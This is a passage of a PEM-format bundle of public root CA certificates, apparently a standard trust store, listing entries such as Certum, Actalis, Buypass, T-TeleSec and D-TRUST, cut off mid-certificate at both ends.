+4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV
BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg
IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60
g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb
zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw==
-----END CERTIFICATE-----

AffirmTrust Premium ECC
=======================
-----BEGIN CERTIFICATE-----
MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV
BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx
MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U
cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA
IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ
N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW
BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK
BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X
57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM
eQ==
-----END CERTIFICATE-----

Certum Trusted Network CA
=========================
-----BEGIN CERTIFICATE-----
MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK
ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy
MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU
ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC
l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J
J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4
fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0
cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB
Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw
DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj
jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1
mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj
Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
-----END CERTIFICATE-----

TWCA Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ
VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG
EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB
IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx
QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC
oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP
4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r
y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB
BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG
9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC
mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW
QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY
T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny
Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw==
-----END CERTIFICATE-----

Security Communication RootCA2
==============================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc
U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh
dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC
SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy
aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++
+T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R
3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV
spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K
EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8
QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB
CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj
u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk
3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q
tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29
mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03
-----END CERTIFICATE-----

Actalis Authentication Root CA
==============================
-----BEGIN CERTIFICATE-----
MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM
BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE
AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky
MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz
IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ
wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa
by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6
zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f
YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2
oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l
EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7
hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8
EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5
jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY
iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI
WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0
JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx
K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+
Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC
4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo
2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz
lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem
OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9
vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
-----END CERTIFICATE-----

Buypass Class 2 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X
DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1
g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn
9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b
/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU
CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff
awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI
zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn
Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX
Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs
M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI
osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S
aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd
DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD
LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0
oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC
wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS
CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN
rJgWVqA=
-----END CERTIFICATE-----

Buypass Class 3 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X
DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH
sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR
5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh
7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ
ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH
2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV
/afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ
RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA
Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq
j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G
uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG
Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8
ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2
KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz
6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug
UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe
eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi
Cp/HuZc=
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 3
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx
MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK
9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU
NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF
iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W
0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr
AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb
fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT
ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h
P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw==
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 2009
==============================
-----BEGIN CERTIFICATE-----
MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe
Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE
LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD
ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA
BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv
KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z
p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC
AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ
4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y
eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw
MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G
PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw
OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm
2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV
dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph
X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I=
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 EV 2009
=================================
-----BEGIN CERTIFICATE-----
MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS
egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh
zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T
7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60
sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35
11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv
cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v
ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El
MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp
b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh
c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+
PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX
ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA
NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv
w9y4AyHqnxbxLFS1
-----END CERTIFICATE-----

CA Disig Root R2
================
-----BEGIN CERTIFICATE-----
MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw
EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp
ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx
EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp
